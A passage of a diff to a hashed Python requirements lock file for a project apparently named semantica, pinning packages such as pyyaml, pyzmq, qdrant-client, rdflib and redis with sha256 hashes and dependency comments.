--hash=sha256:3fd478f3250fbbbfd3b94fe1e985955737c145627498896a8a6bf81f4baf66c7 \ + --hash=sha256:7bc9d7b7d8a69c9c02ca09216118c86552704edc23bac179283f2e38f86220ce + # via + # semantica (pyproject.toml) + # docling-slim +python-dotenv==1.2.2 \ + --hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \ + --hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3 + # via + # semantica (pyproject.toml) + # docling-slim + # litellm + # pydantic-settings + # pymilvus + # uvicorn +python-json-logger==4.1.0 \ + --hash=sha256:132994765cf75bf44554be9aa49b06ef2345d23661a96720262716438141b6b2 \ + --hash=sha256:b396b9e3ed782b09ff9d6e4f1683d46c83ad0d35d2e407c09a9ebbf038f88195 + # via jupyter-events +python-louvain==0.16 \ + --hash=sha256:b7ba2df5002fd28d3ee789a49532baad11fe648e4f2117cf0798e7520a1da56b + # via + # semantica (pyproject.toml) + # d3graph +python-multipart==0.0.32 \ + --hash=sha256:be54b7f3fa167bb83e4fcd936b887b708f4e57fe75911c02aebf53efaf8d938e \ + --hash=sha256:ff6d3f776f16878c894e52e107296ffc890e913c611b1a4ec6c44e2821fe2e23 + # via semantica (pyproject.toml) +python-oxmsg==0.0.2 \ + --hash=sha256:22be29b14c46016bcd05e34abddfd8e05ee82082f53b82753d115da3fc7d0355 \ + --hash=sha256:a6aff4deb1b5975d44d49dab1d9384089ffeec819e19c6940bc7ffbc84775fad + # via docling-slim +python-pptx==1.0.2 \ + --hash=sha256:160838e0b8565a8b1f67947675886e9fea18aa5e795db7ae531606d68e785cba \ + --hash=sha256:479a8af0eaf0f0d76b6f00b0887732874ad2e3188230315290cd1f9dd9cc7095 + # via docling-slim +pytokens==0.4.1 \ + --hash=sha256:0fc71786e629cef478cbf29d7ea1923299181d0699dbe7c3c0f4a583811d9fc1 \ + --hash=sha256:11edda0942da80ff58c4408407616a310adecae1ddd22eef8c692fe266fa5009 \ + --hash=sha256:140709331e846b728475786df8aeb27d24f48cbcf7bcd449f8de75cae7a45083 \ + --hash=sha256:24afde1f53d95348b5a0eb19488661147285ca4dd7ed752bbc3e1c6242a304d1 \ + --hash=sha256:26cef14744a8385f35d0e095dc8b3a7583f6c953c2e3d269c7f82484bf5ad2de \ + --hash=sha256:27b83ad28825978742beef057bfe406ad6ed524b2d28c252c5de7b4a6dd48fa2 \ + --hash=sha256:292052fe80923aae2260c073f822ceba21f3872ced9a68bb7953b348e561179a \ + --hash=sha256:29d1d8fb1030af4d231789959f21821ab6325e463f0503a61d204343c9b355d1 \ + --hash=sha256:2a44ed93ea23415c54f3face3b65ef2b844d96aeb3455b8a69b3df6beab6acc5 \ + --hash=sha256:30f51edd9bb7f85c748979384165601d028b84f7bd13fe14d3e065304093916a \ + --hash=sha256:34bcc734bd2f2d5fe3b34e7b3c0116bfb2397f2d9666139988e7a3eb5f7400e3 \ + --hash=sha256:3ad72b851e781478366288743198101e5eb34a414f1d5627cdd585ca3b25f1db \ + --hash=sha256:3f901fe783e06e48e8cbdc82d631fca8f118333798193e026a50ce1b3757ea68 \ + --hash=sha256:42f144f3aafa5d92bad964d471a581651e28b24434d184871bd02e3a0d956037 \ + --hash=sha256:4a14d5f5fc78ce85e426aa159489e2d5961acf0e47575e08f35584009178e321 \ + --hash=sha256:4a58d057208cb9075c144950d789511220b07636dd2e4708d5645d24de666bdc \ + --hash=sha256:4e691d7f5186bd2842c14813f79f8884bb03f5995f0575272009982c5ac6c0f7 \ + --hash=sha256:5502408cab1cb18e128570f8d598981c68a50d0cbd7c61312a90507cd3a1276f \ + --hash=sha256:584c80c24b078eec1e227079d56dc22ff755e0ba8654d8383b2c549107528918 \ + --hash=sha256:5ad948d085ed6c16413eb5fec6b3e02fa00dc29a2534f088d3302c47eb59adf9 \ + --hash=sha256:670d286910b531c7b7e3c0b453fd8156f250adb140146d234a82219459b9640c \ + --hash=sha256:682fa37ff4d8e95f7df6fe6fe6a431e8ed8e788023c6bcc0f0880a12eab80ad1 \ + --hash=sha256:6d6c4268598f762bc8e91f5dbf2ab2f61f7b95bdc07953b602db879b3c8c18e1 \ + --hash=sha256:79fc6b8699564e1f9b521582c35435f1bd32dd06822322ec44afdeba666d8cb3 \ + --hash=sha256:8bdb9d0ce90cbf99c525e75a2fa415144fd570a1ba987380190e8b786bc6ef9b \ + --hash=sha256:8fcb9ba3709ff77e77f1c7022ff11d13553f3c30299a9fe246a166903e9091eb \ + --hash=sha256:941d4343bf27b605e9213b26bfa1c4bf197c9c599a9627eb7305b0defcfe40c1 \ + --hash=sha256:967cf6e3fd4adf7de8fc73cd3043754ae79c36475c1c11d514fc72cf5490094a \ + --hash=sha256:970b08dd6b86058b6dc07efe9e98414f5102974716232d10f32ff39701e841c4 \ + --hash=sha256:97f50fd18543be72da51dd505e2ed20d2228c74e0464e4262e4899797803d7fa \ + --hash=sha256:9bd7d7f544d362576be74f9d5901a22f317efc20046efe2034dced238cbbfe78 \ + --hash=sha256:add8bf86b71a5d9fb5b89f023a80b791e04fba57960aa790cc6125f7f1d39dfe \ + --hash=sha256:b35d7e5ad269804f6697727702da3c517bb8a5228afa450ab0fa787732055fc9 \ + --hash=sha256:b49750419d300e2b5a3813cf229d4e5a4c728dae470bcc89867a9ad6f25a722d \ + --hash=sha256:d31b97b3de0f61571a124a00ffe9a81fb9939146c122c11060725bd5aea79975 \ + --hash=sha256:d70e77c55ae8380c91c0c18dea05951482e263982911fc7410b1ffd1dadd3440 \ + --hash=sha256:d9907d61f15bf7261d7e775bd5d7ee4d2930e04424bab1972591918497623a16 \ + --hash=sha256:da5baeaf7116dced9c6bb76dc31ba04a2dc3695f3d9f74741d7910122b456edc \ + --hash=sha256:dc74c035f9bfca0255c1af77ddd2d6ae8419012805453e4b0e7513e17904545d \ + --hash=sha256:dcafc12c30dbaf1e2af0490978352e0c4041a7cde31f4f81435c2a5e8b9cabb6 \ + --hash=sha256:ee44d0f85b803321710f9239f335aafe16553b39106384cef8e6de40cb4ef2f6 \ + --hash=sha256:f66a6bbe741bd431f6d741e617e0f39ec7257ca1f89089593479347cc4d13324 + # via black +pytz==2026.3.post1 \ + --hash=sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d \ + --hash=sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815 + # via neo4j +pyvis==0.3.2 \ + --hash=sha256:5720c4ca8161dc5d9ab352015723abb7a8bb8fb443edeb07f7a322db34a97555 + # via semantica (pyproject.toml) +pyyaml==6.0.3 \ + --hash=sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c \ + --hash=sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a \ + --hash=sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3 \ + --hash=sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956 \ + --hash=sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6 \ + --hash=sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c \ + --hash=sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65 \ + --hash=sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a \ + --hash=sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0 \ + --hash=sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b \ + --hash=sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1 \ + --hash=sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6 \ + --hash=sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7 \ + --hash=sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e \ + --hash=sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007 \ + --hash=sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310 \ + --hash=sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4 \ + --hash=sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9 \ + --hash=sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295 \ + --hash=sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea \ + --hash=sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0 \ + --hash=sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e \ + --hash=sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac \ + --hash=sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9 \ + --hash=sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7 \ + --hash=sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35 \ + --hash=sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb \ + --hash=sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b \ + --hash=sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69 \ + --hash=sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5 \ + --hash=sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b \ + --hash=sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c \ + --hash=sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369 \ + --hash=sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd \ + --hash=sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824 \ + --hash=sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198 \ + --hash=sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065 \ + --hash=sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c \ + --hash=sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c \ + --hash=sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764 \ + --hash=sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196 \ + --hash=sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b \ + --hash=sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00 \ + --hash=sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac \ + --hash=sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8 \ + --hash=sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e \ + --hash=sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28 \ + --hash=sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3 \ + --hash=sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5 \ + --hash=sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4 \ + --hash=sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b \ + --hash=sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf \ + --hash=sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5 \ + --hash=sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702 \ + --hash=sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8 \ + --hash=sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788 \ + --hash=sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da \ + --hash=sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d \ + --hash=sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc \ + --hash=sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c \ + --hash=sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba \ + --hash=sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f \ + --hash=sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917 \ + --hash=sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5 \ + --hash=sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26 \ + --hash=sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f \ + --hash=sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b \ + --hash=sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be \ + --hash=sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c \ + --hash=sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3 \ + --hash=sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6 \ + --hash=sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926 \ + --hash=sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0 + # via + # semantica (pyproject.toml) + # accelerate + # agno + # docling-core + # huggingface-hub + # jupyter-events + # omegaconf + # pre-commit + # rapidocr + # transformers + # uvicorn +pyzmq==27.1.0 \ + --hash=sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d \ + --hash=sha256:01f9437501886d3a1dd4b02ef59fb8cc384fa718ce066d52f175ee49dd5b7ed8 \ + --hash=sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e \ + --hash=sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba \ + --hash=sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581 \ + --hash=sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05 \ + --hash=sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386 \ + --hash=sha256:0c996ded912812a2fcd7ab6574f4ad3edc27cb6510349431e4930d4196ade7db \ + --hash=sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28 \ + --hash=sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e \ + --hash=sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea \ + --hash=sha256:18339186c0ed0ce5835f2656cdfb32203125917711af64da64dbaa3d949e5a1b \ + --hash=sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066 \ + --hash=sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97 \ + --hash=sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0 \ + --hash=sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113 \ + --hash=sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92 \ + --hash=sha256:1f8426a01b1c4098a750973c37131cf585f61c7911d735f729935a0c701b68d3 \ + --hash=sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86 \ + --hash=sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd \ + --hash=sha256:346e9ba4198177a07e7706050f35d733e08c1c1f8ceacd5eb6389d653579ffbc \ + --hash=sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233 \ + --hash=sha256:3970778e74cb7f85934d2b926b9900e92bfe597e62267d7499acc39c9c28e345 \ + --hash=sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31 \ + --hash=sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74 \ + --hash=sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc \ + --hash=sha256:49d3980544447f6bd2968b6ac913ab963a49dcaa2d4a2990041f16057b04c429 \ + --hash=sha256:4a19387a3dddcc762bfd2f570d14e2395b2c9701329b266f83dd87a2b3cbd381 \ + --hash=sha256:4c618fbcd069e3a29dcd221739cacde52edcc681f041907867e0f5cc7e85f172 \ + --hash=sha256:50081a4e98472ba9f5a02850014b4c9b629da6710f8f14f3b15897c666a28f1b \ + --hash=sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556 \ + --hash=sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4 \ + --hash=sha256:510869f9df36ab97f89f4cff9d002a89ac554c7ac9cadd87d444aa4cf66abd27 \ + --hash=sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c \ + --hash=sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd \ + --hash=sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e \ + --hash=sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526 \ + --hash=sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e \ + --hash=sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f \ + --hash=sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128 \ + --hash=sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96 \ + --hash=sha256:722ea791aa233ac0a819fc2c475e1292c76930b31f1d828cb61073e2fe5e208f \ + --hash=sha256:726b6a502f2e34c6d2ada5e702929586d3ac948a4dbbb7fed9854ec8c0466027 \ + --hash=sha256:753d56fba8f70962cd8295fb3edb40b9b16deaa882dd2b5a3a2039f9ff7625aa \ + --hash=sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f \ + --hash=sha256:7be883ff3d722e6085ee3f4afc057a50f7f2e0c72d289fd54df5706b4e3d3a50 \ + --hash=sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c \ + --hash=sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2 \ + --hash=sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146 \ + --hash=sha256:849ca054d81aa1c175c49484afaaa5db0622092b5eccb2055f9f3bb8f703782d \ + --hash=sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97 \ + --hash=sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5 \ + --hash=sha256:9541c444cfe1b1c0156c5c86ece2bb926c7079a18e7b47b0b1b3b1b875e5d098 \ + --hash=sha256:96c71c32fff75957db6ae33cd961439f386505c6e6b377370af9b24a1ef9eafb \ + --hash=sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32 \ + --hash=sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62 \ + --hash=sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf \ + --hash=sha256:a1aa0ee920fb3825d6c825ae3f6c508403b905b698b6460408ebd5bb04bbb312 \ + --hash=sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda \ + --hash=sha256:ac0765e3d44455adb6ddbf4417dcce460fc40a05978c08efdf2948072f6db540 \ + --hash=sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604 \ + --hash=sha256:ad68808a61cbfbbae7ba26d6233f2a4aa3b221de379ce9ee468aa7a83b9c36b0 \ + --hash=sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db \ + --hash=sha256:b1267823d72d1e40701dcba7edc45fd17f71be1285557b7fe668887150a14b78 \ + --hash=sha256:b2e592db3a93128daf567de9650a2f3859017b3f7a66bc4ed6e4779d6034976f \ + --hash=sha256:b721c05d932e5ad9ff9344f708c96b9e1a485418c6618d765fca95d4daacfbef \ + --hash=sha256:bafcb3dd171b4ae9f19ee6380dfc71ce0390fefaf26b504c0e5f628d7c8c54f2 \ + --hash=sha256:bd67e7c8f4654bef471c0b1ca6614af0b5202a790723a58b79d9584dc8022a78 \ + --hash=sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b \ + --hash=sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f \ + --hash=sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6 \ + --hash=sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39 \ + --hash=sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f \ + --hash=sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355 \ + --hash=sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a \ + --hash=sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a \ + --hash=sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856 \ + --hash=sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9 \ + --hash=sha256:da96ecdcf7d3919c3be2de91a8c513c186f6762aa6cf7c01087ed74fad7f0968 \ + --hash=sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7 \ + --hash=sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1 \ + --hash=sha256:df7cd397ece96cf20a76fae705d40efbab217d217897a5053267cd88a700c266 \ + --hash=sha256:e2687c2d230e8d8584fbea433c24382edfeda0c60627aca3446aa5e58d5d1831 \ + --hash=sha256:e30a74a39b93e2e1591b58eb1acef4902be27c957a8720b0e368f579b82dc22f \ + --hash=sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7 \ + --hash=sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394 \ + --hash=sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07 \ + --hash=sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496 \ + --hash=sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90 \ + --hash=sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271 \ + --hash=sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6 \ + --hash=sha256:ff8d114d14ac671d88c89b9224c63d6c4e5a613fe8acd5594ce53d752a3aafe9 + # via + # ipykernel + # jupyter-client + # jupyter-console + # jupyter-server +qdrant-client==1.19.0 \ + --hash=sha256:13602a2b3478a95ecdf42f97b93d7f703b63a3361cd912a04495a33a5ac14121 \ + --hash=sha256:365395a04b0a26c309b25b7d8b1c99ef2071ec9a2b74bc8a5fd3b7a3642fe963 + # via semantica (pyproject.toml) +rapidocr==3.9.2 \ + --hash=sha256:04d6b8d151f823d930bd91910555f57bea897c0c44fa6794267b94cf9c1ef9a0 + # via docling-slim +rdflib==7.6.0 \ + --hash=sha256:30c0a3ebf4c0e09215f066be7246794b6492e054e782d7ac2a34c9f70a15e0dd \ + --hash=sha256:6c831288d5e4a5a7ece85d0ccde9877d512a3d0f02d7c06455d00d6d0ea379df + # via + # semantica (pyproject.toml) + # owlrl + # pyshacl +redis==8.1.0 \ + --hash=sha256:6e1a19beef9225c83efd689c7e6b7da2d5215b1f42cd13b7fc3714d0a09c7b25 \ + --hash=sha256:a4fe1aac3d3b3cc791d4b3d5931c5a956045dc951ee74d1c913ee3ac4d2ee9fb + # via + # semantica (pyproject.toml) + # falkordb +referencing==0.37.0 \ + --hash=sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231 \ + --hash=sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8 + # via + # jsonschema + # jsonschema-specifications + # jupyter-events +regex==2026.7.19 \ + --hash=sha256:062f8cb7a9739c4835d22bd96f370c59aba89f257adcfa53be3cc209e08d3ae0 \ + --hash=sha256:064f1760a5a4ade65c5419be23e782f29147528e8a66e0c42dd4cedb8d4e9fc6 \ + --hash=sha256:09523a592938aa9f587fb74467c63ff0cf88fc3df14c82ab0f0517dcf76aaa62 \ + --hash=sha256:09d3007fc76249a83cdd33de160d50e6cb77f54e09d8fa9e7148e10607ce24af \ + --hash=sha256:09f3e5287f94f17b709dc9a9e70865855feee835c861613be144218ce4ca82cc \ + --hash=sha256:0c41c63992bf1874cebb6e7f56fd7d3c007924659a604ae3d90e427d40d4fd13 \ + --hash=sha256:0e9554c8785eac5cffe6300f69a91f58ba72bc88a5f8d661235ad7c6aa5b8ccd \ + --hash=sha256:1123ef4211d763ee771d47916a1596e2f4915794f7aabdc1adcb20e4249a6951 \ + --hash=sha256:15b364b9b98d6d2fe1a85034c23a3180ff913f46caddc3895f6fd65186255ccc \ + --hash=sha256:1649eb39fcc9ea80c4d2f110fde2b8ab2aef3877b98f02ab9b14e961f418c511 \ + --hash=sha256:17ed5692f6acc4183e98331101a5f9e4f64d72fe58b753da4d444a2c77d05b12 \ + --hash=sha256:199535629f25caf89698039af3d1ad5fcae7f933e2112c73f1cdf49165c99518 \ + --hash=sha256:1c398716054621aa300b3d411f467dda903806c5da0df6945ab73982b8d115db \ + --hash=sha256:1d3372064506b94dd2c67c845f2db8062e9e9ba84d04e33cb96d7d33c11fe1ae \ + --hash=sha256:1d58561843f0ff7dc78b4c28b5e2dc388f3eff94ebc8a232a3adba961fc00009 \ + --hash=sha256:1d793a7988e04fcb1e2e135567443d82173225d657419ec09414a9b5a145b986 \ + --hash=sha256:1ebac3474b8589fce2f9b225b650afd61448f7c73a5d0255a10cc6366471aed1 \ + --hash=sha256:20568e182eb82d39a6bf7cff3fd58566f14c75c6f74b2c8c96537eecf9010e3a \ + --hash=sha256:22a992de9a0d91bda927bf02b94351d737a0302905432c88a53de7c4b9ce62e2 \ + --hash=sha256:2955907b7157a6660f27079edf7e0229e9c9c5325c77a2ef6a890cba91efa6f0 \ + --hash=sha256:2c4e61e2e1be56f63ec3cc618aa9e0de81ef6f43d177205451840022e24f5b78 \ + --hash=sha256:2cc3460cedf7579948486eab03bc9ad7089df4d7281c0f47f4afe03e8d13f02d \ + --hash=sha256:2ce9e679f776649746729b6c86382da519ef649c8e34cc41df0d2e5e0f6c36d4 \ + --hash=sha256:2ef7eeb108c47ce7bcc9513e51bcb1bf57e8f483d52fce68a8642e3527141ae0 \ + --hash=sha256:3080a7fd38ef049bd489e01c970c97dd84ff446a885b0f1f6b26d9b1ad13ce11 \ + --hash=sha256:343a4504e3fb688c47cad451221ca5d4814f42b1e16c0065bde9cbf7f473bd52 \ + --hash=sha256:36aacfb15faaff3ced55afbf35ec72f50d4aee22082c4f7fe0573a33e2fca92e \ + --hash=sha256:3d3143f159261b1ce5b24c261c590e5913370c3200c5e9ebbb92b5aa5e111902 \ + --hash=sha256:40b34dd88658e4fedd2fddbf0275ac970d00614b731357f425722a3ed1983d11 \ + --hash=sha256:4458124d71339f505bf1fb94f69fd1bb8fa9d2481eebfef27c10ef4f2b9e12f6 \ + --hash=sha256:4896db1f4ce0576765b8272aa922df324e0f5b9bb2c3d03044ff32a7234a9aba \ + --hash=sha256:4a0530bb1b8c1c985e7e2122e2b4d3aedd8a3c21c6bfddae6767c4405668b56e \ + --hash=sha256:4aa5435cdb3eb6f55fe98a171b05e3fbcd95fadaa4aa32acf62afd9b0cfdbcac \ + --hash=sha256:4c3501bfa814ab07b5580741f9bf78dfdfe146a04057f82df9e2402d2a975939 \ + --hash=sha256:4e5413bd5f13d3a4e3539ca98f70f75e7fca92518dd7f117f030ebedd10b60cb \ + --hash=sha256:4e6883a021db30511d9fb8cfb0f222ce1f2c369f7d4d8b0448f449a93ba0bdfc \ + --hash=sha256:52579c60a6078be70a0e49c81d6e56d677f34cd439af281a0083b8c7bc75c095 \ + --hash=sha256:555497390743af1a65045fa4527782d10ff5b88970359412baa4a1e628fe393b \ + 